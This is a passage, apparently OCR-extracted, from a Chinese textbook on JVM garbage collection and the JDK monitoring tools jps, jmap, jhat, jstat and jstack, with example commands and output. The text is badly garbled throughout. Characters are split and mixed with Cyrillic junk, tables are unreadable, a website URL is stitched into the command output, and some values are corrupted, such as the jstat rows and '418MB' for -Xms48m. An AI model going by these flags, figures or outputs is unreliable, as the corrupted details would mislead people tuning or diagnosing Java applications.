the-world) 的 。 这 是 因为 垃圾 回收 器 需要 更 新 应 用 中 所 有 对 象 引 用 的 实际 内 存 地 址 。 不 同 硬件 平台 能 支持 的 垃圾 回收 方式 也 不 同 。 比 如 在 多 CPU 的 平台 上 ， 就 可 以 通过 并 行 的 方式 来 回收 垃圾 ， 而 单 CPU 
平台 只 能 串 行进 行 。 不 同 应 用 期 望 的 垃圾 回收 方式 也 会 有 所 不 同 。 服 务 器 端 应 用 可 能 希望 在 应 用 的 整个 运行 时 间 中 ， 人 花 在 垃圾 回收 上 的 时 间 总 数 越 小 越 好 。 对 于 与 用 户 交 互 的 应 用 来 说 ， 则 可 能 希望 垃圾 回 
收 壳 来 的 应 用 停顿 的 时 间 间 隔 越 小 越 好 。 对 于 这 种 情况 ，JVM 提 供 了 多 种 垃圾 回收 方法 以 及 对 应 的 性 能 调 优 参数 ， 应 用 可 以 根据 需要 定制 。 


目前 JVM 都 采用 分 代 收集 ， 在 分 代 收 集 的 基础 上 又 分 为 串 行 收集 、 并 行 收 集 以 及 并 发 收集 。JVM 串 行 收 集 器 的 垃圾 回收 过 程 如 图 9-45 所 示 。 


(1) 串 行 收集 器 


串 行 收集 器 的 工作 过 程 用 单线 程 处 理 所 有 垃圾 回收 工作 ， 因 为 无 须 多 线程 交互 ， 所 以 效率 比较 高 。 但 是 ， 因 为 无 法 使 用 多 处 理 器 的 优势 ， 所 以 此 收集 器 适合 单 处 理 器 机 器 。 当 然 ， 此 收集 器 也 可 以 用 在 
小 数据 量 (100MB 左 右 ) 情况 下 的 多 处 理 器 机 器 上 。 可 以 使 用 -XX:+UseSerialGC 打 开 串 行 收集 器 。 
(2) 并 行 收 集 器 


并 行 收集 器 的 工作 过 程 如 图 9-46 所 示 ， 对 年 轻 代 进行 并 行 垃圾 回收 ， 因 此 可 以 减少 垃圾 回收 时 间 。 一 般 在 多 线程 多 处 理 器 机 器 上 使 用 ， 可 使 用 -XX:+UseParallelGC. 打 开 并 行 收集 器 。 并 行 收 集 器 在 
J2SE 5.0 上 引入 ， 在 Java SE 6.0 中 进行 了 增强 ， 可 以 对 年 老 代 进行 并 行 收集 。 如 果 年 者 代 不 使 用 并 发 收集 ， 则 默认 使 用 单线 程 进行 垃圾 回收 ， 因 此 会 制约 扩展 能 力 。 使 用 -XX:+UseParalleloldGC 打 开 对 老 
年 代 进 行 并 行 收集 。 
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图 9-45 JVM 串 行 收集 器 


图 9-46 JVM 并 行 收集 器 


使 用 -XX:ParallelGCThreads= <N> 设 置 并 行 垃圾 回收 的 线程 数 。 此 值 可 以 设置 为 与 机 器 处 理 器 数 相等 。 


此 收集 器 可 以 进行 如 下 配置 。 

1) 最 大 垃圾 回收 暂停 : 指定 垃圾 回收 时 的 最 长 暂停 时 间 ， 通 过 -XX:MaxGCPauseMillis=<N> 指 定 。<N> 的 单位 为 ms， 如 果 指 定 了 此 值 ， 则 会 调整 堆 大 小 和 垃圾 回收 相关 参数 ， 以 达到 指定 值 。 设 定 
此 值 可 能 会 减少 应 用 的 吞吐 量 。 

2) 吞吐 量 : 吞吐 量 为 垃圾 回收 时 间 与 非 垃圾 回收 时 间 的 比值 ， 通 过 -XX:GCTimeRatio= <N> 来 设 定 ， 公 式 为 1/ (1+N) 。 例 如 ，-XX:GCTimeRatio=19 时 ， 表 示 5% 的 时 间 用 于 垃圾 回收 。 上 默认 为 99， 
即 1% 的 时 间 用 于 垃圾 回收 。 


(3) 并 发 收集 器 


并 发 收集 器 可 以 保证 大 部 分 工作 都 并 发 进行 (应 用 不 停止 ) ， 垃 圾 回收 只 和 暂停 很 少 的 时 间 ， 此 收集 器 适合 对 响应 时 间 要 求 比较 高 的 中 、 大 规模 应 用 ， 可 使 用 -XX:+UseConcMarkSweepGC 打 开 并 发 收 


集 器 。 


并 发 收集 器 主要 减少 年 老 代 的 暂停 时 间 ， 它 在 应 用 不 停止 的 情况 下 ， 使 用 独立 的 垃圾 回收 线程 ， 跟 踪 可 达 对 象 。 并 发 收集 器 垃圾 回收 过 程 如 图 9-47 所 示 。 在 每 个 年 老 代 垃圾 回收 周期 中 ， 在 收集 初期 ， 
并 发 收集 器 会 对 整个 应 用 进行 简短 的 暂停 ， 在 收集 时 还 会 再 暂停 一 次 。 第 二 次 暂停 会 比 第 一 次 稍 长 ， 在 此 过 程 中 ， 多 个 线程 同时 进行 垃圾 回收 工作 。 
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图 9-47 JVM 并 发 收集 器 
并 发 收集 器 使 用 处 理 器 换 来 短暂 的 停顿 时 间 。 在 一 个 NN 个 处 理 器 的 系统 上 ， 并 发 收集 部 分 使 用 K/N 个 可 用 处 理 器 进行 回收 ,一 般 情况 下 1<=K<=N/4。 


在 只 有 一 个 处 理 器 的 主机 上 使 用 并 发 收集 器 ， 设 置 为 incremental mode 模 式 ， 也 可 获得 较 短 的 停顿 时 间 。 
9.8.2 JVM 性 能 监控 分 析 调 优 
在 了 解 JVM 基 础 知识 时 ， 需 要 选择 工具 对 JVM 进 行 监控 ， 只 有 在 监控 的 基础 上 ， 才 能 进行 JVM 性 能 的 分 析 和 调 优 。 


1.jps 


jps 命 令 类 似 于 Linux 下 的 ps， 该 命令 可 以 列 出 正在 运行 的 虚拟 机 进程 ， 显 示 虚 拟 机 执行 队列 的 名 称 ， 以 及 这 些 进程 的 本 地 虚拟 机 的 唯一 ID。 此 命令 虽然 功能 单一 ， 但 它 是 使 用 频率 最 高 的 JDK 命 令 工 


\ 
/ 


jps 命 令 格式 如 下 。 


jps [options] [hostid] 


如 果 不 指定 hostid， 就 默认 是 指 当 前 的 主机 或 者 服务 器 。jps 命 令 行 的 参数 如 下 。 

1) -q: 不 输出 类 名 、Jar 名 和 传 入 main 方 法 的 参数 。 

2) -m: 输出 传 入 main 方 法 的 参数 。 

3) -|: 输出 main 类 或 Jar 的 全 限 名 。 

4) -v: 输出 传 入 JVM 的 参数 。 

5) -V: 输出 通过 标记 的 文件 传递 给 JVM 的 参数 (.hotspotrc 文 件 ， 或 者 是 通过 参数 -XX:Flags= <filename> 指 定 的 文件 ) 。 

6) -J: 用 于 传递 JVM 选 项 到 由 Javac 调 用 的 Java 加 载 器 中 。 例 如 ，“- 上 上 Xms48m” 将 把 启动 内 存 设 置 为 48MB， 使 用 -J 选 项 可 以 非常 方便 地 向 基于 Java 开 发 的 底层 虚拟 机 应 用 程序 传递 参数 。 


举例 说 明 如 下 。 


[root@ ~]# jps -m -1 
29663 com.caucho.server.resin.Resin -socketwait 47592 -stdout 
/opt/resin4andashu/log/stdout.log -stderr /opt/resin4andashu/log/stderr.log 
436 sun.tools.jps.Jps -m -1 


从 这 个 输出 中 可 以 看 出 ， 当 前 运行 了 一 个 Java 应 用 程序 ， 其 PID 是 29663， 日 志 路 径 在 /opt 下 ， 另 外 一 个 是 PID 为 436 的 JSP 本 身 的 执行 命令 。 
2.jmap 
(1) jmap 概 述 


jmap (memory map for Java) 用 于 生成 堆 转 储 快照 ， 查 询 finalize 执 行 队列 、Java 推 和 永久 代 的 详细 信息 等 。jmap 可 以 以 输出 所 有 内 存 中 的 对 象 ， 甚 至 可 以 将 VM 中 的 heap 以 二 进 制 输出 成 文本 。 使 


用 map-histo pid>a.log 可 以 将 堆 内 存 快照 信息 重 定向 保存 到 文本 中 ， 对 比 不 同时 期 的 堆 内 存 信息 ， 就 可 以 对 比 出 GC 回 收 了 哪些 对 象 。 也 可 以 使 用 map-dump 命 令 将 Java 进 程 的 堆 内 存 输出 到 outfile 文 件 
中 ， 再 配合 MAT (内 存 分 析 工 具 Memory Analysis Tool) 或 与 jhat (Java Heap Analysis Tool) 一 起 使 用 ， 能 够 以 图 像 的 形式 直观 展示 当前 内 存 是 否 有 问题 ，jmap 命 令 在 分 析 内 存 泄露 时 是 最 常用 的 命令 
之 一 ， 也 是 最 方便 的 内 存 泄露 分 析 工 具 。 


jmap 命 令 格 式 如 下 。 


jmap [ option ] pid 
jmap [ option ] executable core 
jmap [ option ] [server-id8]remote-hostname-or-IP 


参数 说 明 如 下 。 
1) options。 
- Core: Жаштр соге dump 文 件 。 
: remote-hostname-or-IP: 远程 debug 服 务 的 主机 名 或 JP 地 址 。 
-serverid: 唯一 ID， 假 如 一 台 主 机 上 有 多 个 远程 debug 服 务 。 
2) 基本 参数 。 
: -dump:[live, ]format-b, file- «filename»: 使 用 hprof 二 进 制 形式 ， 将 JVM 的 堆 内 存 快照 输出 到 文件 中 。live 子 选项 是 可 选 的， 假如 指定 live 选 项 ， 那 么 只 输出 活 的 对 象 到 文件 。 
-finalizerinfo: 打印 正 等 待 回 收 的 对 象 的 信息 。 
:-heap: 打印 heap 的 概要 信息 、GC 使 用 的 算法 、heap 的 配置 及 wise heap 的 使 用 情况 。 
: -histo[live]: 打印 每 个 class 的 实例 数目 、 内 存 占用 、 类 全 名 信息 。VM 的 内 部 类 名 称 开 头 会 加 上 前 级 “*”. 如 果 加 上 live 子 参数 ， 则 只 统计 活 的 对 象 数 量 。 
: -permstat: 打印 classload 和 JVM heap 长 久 层 的 信息 ， 包 含 每 个 classloadet 的 名 称 、 活 泼 性、 地 址 、 父 classloader 和 加 载 的 class 数 量 。 另 外 ， 内 部 String 的 数量 和 占用 内 存 数 也 会 打印 出 来 。 
. F: 强迫 在 pid 没 有 响应 的 时 候 使 用 -dump 或 者 -histo 参 数 ， 在 这 个 模式 下 ，live 子 参数 无 效 。 
+ -h|-help: 打印 辅助 信息 。 
. J: 传递 参数 给 jmap 启 动 的 JVM。 


(2) JVM 和 常用 分 析 命令 


1) jmap-heap pid, 
这 个 命令 常用 来 查看 Java 进 程 的 堆 内 存 分 布 情况 。 


[root@ ~]# jmap -heap 7143 
Heap Configuration: 
MinHeapFreeRatio 
MaxHeapFreeRatio 


40 /x* 对 应 JVM 启 动 参数 -XX: MinHeapFreeRatio， 设 置 JVM 堆 最 小 空 亲 比率 (default 40) */ 
70 /* 对 应 JVM 启 动 参数 -XX: MaxHeapFreeRatio， 设 置 JVM 堆 最 大 空 ТЕ ж (default 70) */ 
MaxHeapSize 2147483648 (2048.0MB) /*X*WJVM/H 5) 2 XX: MaxHeapSize-Wt Ef JVM 堆 的 最 大 堆 内 存 大 小 */ 
NewSize 2686976 (2.5625MB) ”/* 对 应 JVM 启 动 参数 -XX: NewSize- 一 设置 置 JVM 推 的 \ 新 生 代 “的 默认 堆 内 存 大 小 */ 
MaxNewSize = -65536 (-0.0625MB)  /* 对 应 JVM 启 动 参数 -XX: MaxNewSize= 设 置 JVM 堆 的 “年 轻 代 “ 的 最 大 堆 内 存 大 小 */ 
OldSize = 5439488 (5.1875MB)”/* 对 应 JVM 启 动 参数 -XxX: OldSize=<value>: 设置 JVM 堆 的 `\ 老 年代“ 的 堆 内 存 大 小 */ 
NewRatio = 2 // 对 应 JVM 启 动 参数 -Xx: NewRatio-: “年 轻 代 “和 * 老 年 代 “ 的 大 小 比率 
SurvivorRatio = 8 /* 对 应 JVM 启 动 参数 -XX: SurvivorRatio= 设 置 年 轻 代 中 Eden 区 与 Survivor 区 的 大 小 比值 */ 
PermSize = 21757952 (20.75MB)”/* 对 应 JVM 启 动 参数 -XxX: PermSize-«value»: 设置 JVM 堆 的 “持久 代 “ 的 初始 堆 内 存 大 小 */ 
MaxPermSize = 536870912 (512.0MB) ”/* 对 应 jvm 启 动 参数 -Xx: MaxPermSize-«value»: 设置 JVM 堆 的 “持久 代 “ 的 堆 内 存 最 大 大 小 */ 
Heap Usage: 
PS Young Generation 
Eden Space: //EdenlX 
capacity = 7667712 (7.3125MB) //Eden 区 总 堆 内 存 大 小 
used = 70512 (0.0672454833984375MB) //Eden 区 已 使 用 堆 内 存 
free = 7597200 (7.2452545166015625MB) //Eqdqen 区 剩余 容量 堆 内 存 
0.9195963541666666% used //Edqen 区 已 使 用 堆 内 存 的 使 用 率 
From Space: // 存 活 区 1 
capacity = 1245184 (1.1875MB) // 存 活 区 1 的 堆 内 存 大 小 
used = 1147120 (1.0939788818359375MB) // 存 活 区 1 已 使 用 堆 内 存 的 大 小 
free = 98064 (0.0935211181640625MB) // 存 活 区 1 剩余 内 存 堆 内 存 大 小 
92.12453741776316$ used// 存 活 区 1 已 使 用 的 堆 内 存 比 率 
To Space: // 存 活 区 2 
capacity = 1245184 (1.1875MB) // 存 活 区 2 堆 内 存 大 小 
used = 0 (0.0MB) // 存 活 区 2 已 使 用 堆 内 存 大 小 
free = 1245184 (1.1875MB) // 存 活 区 2 剩余 内 存 堆 内 存 大 小 
0.0% used// 存 活 区 2 已 使 用 的 堆 内 存 比 率 
PS Old Generation// 老 年 代 
capacity = 441778176 (421.3125MB) // 老 年 代 总 堆 内 存 大 小 
used = 343197976 (327.2990951538086MP) // 老 年 代 已 使 用 堆 内 存 大 小 
free = 98580200 (94.0134048461914MB) // 老 年 代 剩 余 内 存 堆 内 存 大 小 
77.68558852486186% used// 老 年 代 已 使 用 的 堆 内 存 比 率 
PS Perm Generation// 持 久 代 
capacity = = 99876864 (95.25MB) // 持 久 代 总 堆 内 存 大 小 
used 50178240 (47.85369873046875MB) // 持 久 代 已 使 用 堆 内 存 大 小 
free = 49698624 (47.39630126953125MP) // 持 久 代 剩余 内 存 堆 内 存 大 小 
50.24010365403543% used// 持 久 代 已 使 用 的 堆 内 存 比 率 


m 


Е 


在 这 里 小 白 要 提醒 大 家 的 就 是 ， 使 用 map 看 到 的 只 是 命令 执行 时 的 堆 内 人 存 使 用 情况 ， 而 不 是 说 推 内 存 一 直 是 这 样 。 
2) jmap-histo pid, 


使 用 该 命令 查看 堆 内 人 存 (histogram) 中 的 对 象 数量 、 大 小 ， 如 果 发 生 内 存 泄露 问题 ， 则 使 用 这 个 命令 可 以 快速 定位 出 是 什么 方法 或 者 类 导致 内 存 港 露 。 具 体 使 用 方法 如 下 : 


num #instances #bytes class name 
1 746368 77622272 com.mysql.jdbc.ConnectionPropertiesImplS$BooleanConnectionProperty 
2: 1096211 52618128 Java.util.HashtableSEntry 
3 E 32279128 [C 
4: 629817 25192680 Java.lang.String 

5: um 23563904 com.mysql.jdbc.ConnectionPropertiesImpl$StringConnectionProperty 

6: 

7 

8 

9 


13926 21435432 [LJava.util.HashtableS$SEntry; 
186592 20898304 com.mysql.jdbc.ConnectionPropertiesImpl$IntegerConnectionProperty 
65311 16850184 [I 
27500 14678560 [LJava.lang.String; 


0 6664 13541248 com.mysql.jdbc.JDBCA4Connection 

11 75957 10555648 «constMethodKlass» 

12: 75957 9126840 «methodKlass» 

13 34616 8975336 [LJava.util.HashMapSEntry; 

http: //www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..http://www.hzcourse.com/resource/readBook?path-/openresources/teach ek 
total 9150732 353969416 


在 下 面 可 以 清楚 地 看 到 com.mysql.jdbc.ConnectionPropertieslImpl$BooleanConnectionProperty 这 个 class 在 当前 堆 内 存 中 占用 比率 最 大 ， 调 用 次 数 最 多 。 
通过 该 命令 看 到 的 内 容 里 有 一 些 B、| 之 类 的 class， 很 多 初学 者 不 清楚 这 些 代表 什么 ， 下 面 进行 具体 解释 ， 如 表 9-8 所 示 。 


9-8 JVM 堆 内 存 基本 类 型 


字段 类 型 说 明 


В byte 

С char 

D double 

F float 

I int 

J long 
L«classname^: reference 
S short 

7, boolean 

| reference 


3) jmap-dump pid, 


该 命令 可 以 将 内 存 使 用 的 详细 情况 输出 到 文件 ， 有 具体 用 法 为 : jmap-dump:formatzb, filezandashu.bin pid， 生 成 的 文件 可 以 用 hat 或 者 MAT 等 JVM 内 存 分 析 工 具 查 看 。 具 体 用 法 如 下 。 


[root@~]# jmap -dump: format=b, file=andashu.bin 17143 
Dumping heap to /opt/andashu.bin http://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/... 
Heap dump file created 


其 中 format 表 示 默 认 ， 这 样 dump 的 文件 会 非常 大 ， 为 了 减少 生成 的 堆 镜像 大 小 ， 可 以 使 用 live 参 数 ， 表 示 只 dump 扒 中 存活 的 对 象 。 
在 这 里 说 明 一 下 ，jmap-dump:live 以 及 jmap-histo:live 都 会 触发 Full GC， 即 使 加 上 JVM 参 数 -XX:+DisableExplicitGC， 也 不 影响 结果 ， 具 体 的 可 以 通过 查看 源码 进行 分 析 。 
3.jhat 


jhat 是 一 个 Java 推 复制 浏览 器 ， 可 以 分 析 Java 堆 复制 文件 (如 由 上 面 的 “jmap-dump” 所 产生 的 文件 ) 。jhat 局 动 一 个 允许 堆 中 的 对 象 在 Web 浏 览 器 中 进行 分 析 的 Web 服 务 器 。jhat 并 不 适用 于 线 上 应 
用 系统 中 ， 而 是 用 于 “离线 ”分 析 。jhat 支 持 预定 义 (pre-designed) 查询 (如 显示 类 Foo 的 所 有 对 象 ) . OQL (对 象 查询 语言 ) ， 可 以 像 SQL 语 言 一 样 查询 推 镜像 。 


jhat 用 法 如 下 。 


jhat [ options ] «heap-dump-file» 


具体 参数 使 用 说 明 如 下 。 

` -]-xmx: 可 以 指定 堆 大 小 ， 防 止 在 使 用 jhat 命 令 时 产生 “OutOfMemoryError 错误 。 

* stack false/true: 关闭 跟踪 对 象 分 配 调用 栈 。 注 意 ， 如 果 堆 镜像 中 分 配 位 置信 息 不 可 用 ， 则 不 得 不 设置 成 false， 默 认为 true。 

: -refs false/true: 关闭 跟踪 对 象 引 用 ， 默 认为 true。 默 认 情 况 下 ，back pointers (指向 给 定 对 象 4.ka 的 引用 ， 或 者 in-coming 应 用 ) 适用 于 堆 中 的 所 有 对 象 。 

© -port port-number: 给 jhat 的 HTTP 服 务 器 设置 端口 ， 默 认为 7000。 

: -exclude exclude-file: 指定 一 个 数据 成 员 列 表 文 件 ， 排 除 可 达 对 象 查询 。 例 如 ， 如 果 文 件 列 出 Java.lang.String.value， 那 么 ， 从 指定 对 象 o 中 计算 出 的 可 达 对 象 列表 ， 只 要 引用 路 径 涉 及 Java.lang.String.value 
字段 ， 就 不 会 被 考虑 在 内 。 

` -baseline baseline-dump-file: 指定 一 个 基线 堆 镜像 。 两 个 堆 中 的 相同 对 象 ID 将 被 标记 为 非 new。 其 他 对 象 标 记 为 new， 这 对 于 比较 两 个 不 同 的 堆 镜像 是 有 用 的 。 

· -debugint: 设置 debug 级 别 。 


具体 用 法 实例 如 下 。 


[root@~]# jhat -J-Xmx2048m -port 88 andashu.bin 

Reading from andashu.binhttp://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/... 
Dump file created Thu Jul 24 18: 27: 06 CST 2014 i 

Snapshot read, resolvinghttp://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/... 
Resolving 4326549 objectshttp://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/... 
Chasing references, expect 865 dots 
http: //www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..http://www.hzcourse.com/resource/readBook?path-/openresources/teach ek 
Eliminatingduplicatereferences 
http: //www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..http://www.hzcourse.com/resource/readBook?path-/openresources/teach ek 
Snapshot resolved. 

S 
S 


tarted HTTP server on port 88 
erver is ready. 


x 


jhat 的 Server 起 来 后 ， 就 可 以 通过 浏览 器 进行 访问 了 ， 如 访问 http://IP 地 址 :port/，jhat 记 录 了 该 Java 进 程 中 ， 所 有 类 及 实例 数 (在 页 面 最 底部 ) 。 在 默认 页 中 ，jhat 服 务 器 显示 了 所 有 非 平 台 类 信息 。 


单 击 链 接 进入 ， 可 以 查看 选中 类 的 超 类 、ClassLoader 以 及 该 类 的 实例 等 信息 。Other Queries 还 提供 了 其 他 查询 方式 ， 通 过 这 些 链 接 ， 可 以 进一步 查看 所 有 类 信息 (包括 Java 平 台 的 类 ) 、 所 有 类 的 实例 数 
量 以 及 实例 的 具体 信息 。 


4.jstat 

jstat 用 于 监控 基于 HotSpot 的 JVM ， 对 其 堆 的 使 用 情况 进行 实时 的 命令 行 统计 ， 使 用 jstat 可 以 对 指定 的 JVM 做 如 下 监控 。 
1) 类 的 加 载 及 卸载 情况 。 

2) 查看 新 生 代 、 老 生 代 及 持久 代 的 容量 及 使 用 情况 。 

3) 查看 新 生 代 、 老 生 代 及 持久 代 的 垃圾 收集 情况 ， 包 括 垃圾 回收 的 次 数 及 垃圾 回收 所 占用 的 时 间 。 

4) 查看 新 生 代 中 Eden 区 及 Survior 区 中 容量 及 分 配 情 况 等 。 


jstat 工 具 特别 强大 ， 它 有 众多 的 可 选项 ， 提 供 多 种 不 同 的 监控 维度 ， 使 用 户 可 以 从 不 同 的 维度 了 解 当前 JVM 堆 的 使 用 情况 。 详 细 查 看 堆 内 名 个 部 分 的 使 用 量 ， 使 用 的 时 候 必 须 加 上 待 统计 的 Java 进 程 
号 ， 然 后 通过 命令 带 上 不 同 的 监控 维度 参数 以 及 监控 间隔 时 间 参 数 ， 对 这 个 Java 进 程 的 GC 情况 进行 监控 。 


jstat 语 法 如 下 。 
jstat [ generalOption | outputOptions vmid [interval[s|ms] [count]] ] 
其 中 : 
- generalOption: 单个 常用 的 命令 行 选项 ， 如 -help、-options 或 -version。 
outputOptions; 一 个 或 多 个 输出 选项 ， 由 单个 的 statOption 选 项 组 成 ， 可 以 和 -t、-h、and-] 等 选项 配合 使 用 。 


: statOption: 根据 jstat 统 计 的 维度 不 同 ， 可 以 使 用 如 下 表 中 的 选项 进行 不 同 维度 的 统计 ， 不 同 操作 系统 支持 的 选项 可 能 会 不 一 样 ， 可 以 通过 -options 选 项 ， 查 看 不 同 操 作 系 统 支持 的 选项 ， 具 体 的 options 


表 9-9 jstat option 说 明 


参数 选项 参数 说 明 


class 用 于 查看 类 加 载 情况 的 统计 

compiler 用 于 查看 HotSpot HP BITS FE gi 2 PE i DUBIO 

gc 用 于 查看 JVM 中 堆 的 垃圾 收集 情况 的 统计 

gccapacity 查看 新 生 代 、 老 生 代 及 持久 代 的 存储 容量 情况 

— E IT erf hA Jc SETS 统计 情况 (这 个 和 -gcutil 选项 一 样 )， 如 果 发 生 垃 圾 收集 ， 
巧 还 会 显示 最 后 一 次 及 当前 正在 4 v mon 的 原因 

gcnew 用 于 查看 新 生 代 垃圾 收集 的 情况 

gcnewcapacity 用 于 查看 新 生 代 的 人 存储 容量 - FH 

gcold 用 于 查看 老生 代 及 持久 代 发 生 GC 的 情况 

gcoldcapacity 用 于 查看 老生 代 的 容量 

gcpermcapacity 用 于 查看 持久 代 的 容量 

gcutil 用 于 查看 新 生 代 、 老 生 代 及 持久 代 垃 圾 收集 的 情况 

printcompilation HotSpot 编译 方法 的 统计 


п: 用 于 指定 每 隔 几 行 输出 列 头 ， 如 果 不 指定 ， 默 认 只 在 第 一 行 出 现 列 头 。 

· -J JavaOption: 用 于 将 给 定 的 JavaOption 传 给 Java 应 用 程序 加 载 器 。 例如，“-]-Xms48m” 将 把 启动 内 存 设置 为 418MB。 

спі 用 于 在 输出 内 容 的 第 一 列 显示 时 间 玲 ， 这 个 时 间 玲 代表 从 JVM 开 始 启动 到 现在 的 时 间 (E: 在 IBMJDK5 中 没有 这 个 选项 ) 。 
还 有 两 个 关于 显示 频率 的 选项 。 

- Interval: 间隔 时 间 ， 单 位 可 以 是 s 或 者 ms， 上 默认 单位 为 ms。 

: Count: 打印 次 数 ， 如 果 缺 省 ， 则 打印 无 数 次 。 


下 面 举例 说 明 。 


[root@~]# jstat -gcutil 29663 3000 6 


50 51 E О р YGC YGCT FGC FGCT GCT 
23.17 0.00 80.86 20.99 16.27 76 58.103 0 0.000 58.103 
29317 0.00 81.23 20.99 16.27 76 58,103 0 0.000 58.103 
23517 0.00 82.88 20.99 16.27 76 58.103 0 0.000 58.103 
23.17 0.00 83.09 20.99 16.27 76 58.103 0 0.000 58.103 
23.17 0.00 83.30 20.99 16.27 76 58.103 0 0.000 58.103 
23.17 0.00 83.59 20.99 16.27 76 58.103 0 0.000 58.103 


上 面 每 隔 3s 打 印 一 次 PID 为 29663 的 堆 内 存 使 用 情况 ， 总 共 打印 6 次 。 通 过 上 面 的 命令 可 以 很 清楚 地 看 到 年 轻 代 、 老 年 代 、 持 久 代 堆 内 存 的 使 用 比例 Yong GC 的 次 数 以 及 时 间 ，Full GC 的 次 数 以 及 时 
间 ， 方 便 查 看 堆 内 存 的 使 用 情况 ， 从 而 对 堆 内 人 存 分 配 进行 相应 的 调整 。 


5.jstack 
(1) jstack 概 述 


jstack 用 于 打印 出 给 定 的 Java 进 程 ID、core file 或 远程 调试 服务 的 Java 栈 信息 。 如 果 Java 程 序 朋 省 生成 core 文 件 ，jstack 工 具 就 可 以 用 来 获得 core 文 件 的 Java stack 和 native stack 的 信息 ， 从 而 可 以 轻 
松 地 知道 java 程序 是 如 何 崩溃 的 和 在 程序 何 处 发 生 问题 。 另 外 ，jstack 工 具 还 可 以 用 于 正在 运行 的 Java 程 序 中 ， 看 到 当时 运行 的 Java 程 序 的 Java Stack 和 Native stack 的 信息 ， 如 果 现 在 运行 的 Java 程 序 呈 现 
hung 的 状态 ，jstack 是 非常 有 用 的 ， 但 是 需要 注意 以 下 两 点 。 


1) 不 同 Java 虚 拟 机 的 线程 dump 的 创建 方法 和 文件 格式 是 不 同 ， 不 同 的 JVM 版 本 ，dump 信 息 也 有 差别 。 
2) 在 实际 运行 中 ， 往 往 一 次 dump 的 信息 ， 还 不 足以 确认 问题 。 建 议 产 生 3 次 以 上 的 dump 信 息 ， 只 有 每 次 dump 出 来 的 线程 栈 都 指向 同一 个 问题 ， 才 确定 问题 的 典型 性 。 


jstack 命 令 的 格式 如 下 。 


jstack [ option ] pidjstack [ option ] executable core 


jstack [ option ] [server-idG]remote-hostname-or-IP 
常用 参数 说 明 如 下 。 


'pid:: Java 应 用 程序 的 进程 号 ， 一 般 可 以 通过 jps 来 获得 。 
` executable: 产生 core dump 的 Java 可 执行 程序 
' соге: 打印 出 的 core 文 件 。 
: remote-hostname-or-ip: 远程 debug 服 务 器 的 名 称 或 IP。 
-serverid: 唯一 JD， 假 如 一 台 主 机 上 有 多 个 远程 debug 服 务 。 
F: 当 “jstack[-lJpid” 没 有 相应 的 时 候 ， 强 制 打 印 栈 信息 。 
1: 长 列表 ， 打 印 关 于 锁 的 附加 信息 ， 如 属于 Java.util.concurrent 的 ownable synchronizers 列 表 。 
:-m: 打印 Java 和 native c/c++ 框 架 的 所 有 栈 信 息 
: -h|-help: 打印 帮助 信息 
(2) 示例 


下 面 举例 说 明 。 


[root@~]# jstack -1 29663 3000 
"Attach Listener" daemon prio-10 tid-0x0000000052f£58000 nid20xb8f waiting on condition [0x0000000000000000] 
Java.lang.Thread.State:  RUNNABLE 
Locked ownable synchronizers: 
- None 
destroyJavaVM" prio-10 tid-0x00002aaac1225800 nid-0x7208 waiting on condition [0x0000000000000000] 
Java.lang.Thread.State:  RUNNABLE 
Locked ownable synchronizers: 
"qtp496432309-42" prio-10 tid-0x00002aaaba2a1800 п10=0х7580 waiting on condition [0х00000000425е9000] 
Java.lang.Thread.State: TIMED WAITING (parking) 
t sun.misc.Unsafe.park (Native Method) 
arking to wait for <0х0000000788с#020> (a Java.util.concurrent. 
ks.AbstractQueuedSynchronizer$ConditionObject) 
t Java.util.concurrent.locks.LockSupport.parkNanos (LockSupport. 
ava: 198) 
t Java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObje- 
t.awaitNanos (AbstractQueuedSynchronizer. Java: 2025) 
t org.ecl Lipse. jetty.util.BlockingArrayQueue.poll (BlockingArrayQueue.Java: 320) 
t org.eclipse.jetty.util.thread.QueuedThreadPool$2.run (QueuedThreadPool. 
ava: 479) 
t Java.lang.Thread.run (Thread.Java: 662) 
Locked ownable synchronizers: 
- None 


lo 


f 


(3) jstack 与 线程 信息 


一 般 情况 下 ， 通 过 jstack 输 出 的 线程 信息 主要 包括 : JVM 自 身 线 程 、 用 户 线程 等 。 其 中 JVM 线 程 在 JVM 启 动 时 就 存在 。 对 于 用 户 线程 ， 则 是 在 用 户 访问 时 才 生 成 。 在 线程 中 ， 有 一 些 JVM 内 部 的 后 台 线 
程 来 执行 如 垃圾 回收 、 低 内 存 检测 等 任务 ， 这 些 线程 往往 在 JVM 初 始 化 的 时 候 就 存在 。 还 有 一 类 线程 是 用 户 级 别 的 ， 它 会 根据 用 户 请 求 的 不 同 而 发 生变 化 。 该 类 线程 的 运行 情况 往往 是 我 们 关注 的 重点 。 
且 这 一 部 分 也 是 最 容易 产生 死 锁 的 地 方 。 从 上 述 的 代码 示例 中 ， 可 以 看 到 该 用 户 线程 的 以 下 几 类 信息 。 


1) 线程 的 状态 : waiting on condition (等 待 条 件 发 生 ) 。 

2) 线程 的 调用 情况 。 

3) 线程 对 资源 的 锁定 情况 。 

正如 前 面 通过 jstack dump 出 来 的 线程 栈 看 到 的 那样 ， 线 程 的 状态 是 一 个 重要 的 指标 ， 它 会 显示 在 线程 每 行 结尾 的 地 方 。 线 程 常见 的 状态 如 下 。 
1) Runnable: 该 状态 表示 线程 具备 所 有 运行 条 件 ， 在 运行 队列 中 准备 操作 系统 的 调度 ， 或 者 正在 运行 。 


2) Waiton condition: 该 状态 出 现在 线程 等 待 某 个 条 件 的 发 生 。 具 体 是 什么 原因 ， 可 以 结合 stacktrace 来 分 析 。 最 常见 的 情况 是 线程 在 等 待 网 络 的 读 写 ， 比 如 当 网 络 数据 没有 准备 好 读 时 ， 线 程 处 于 这 
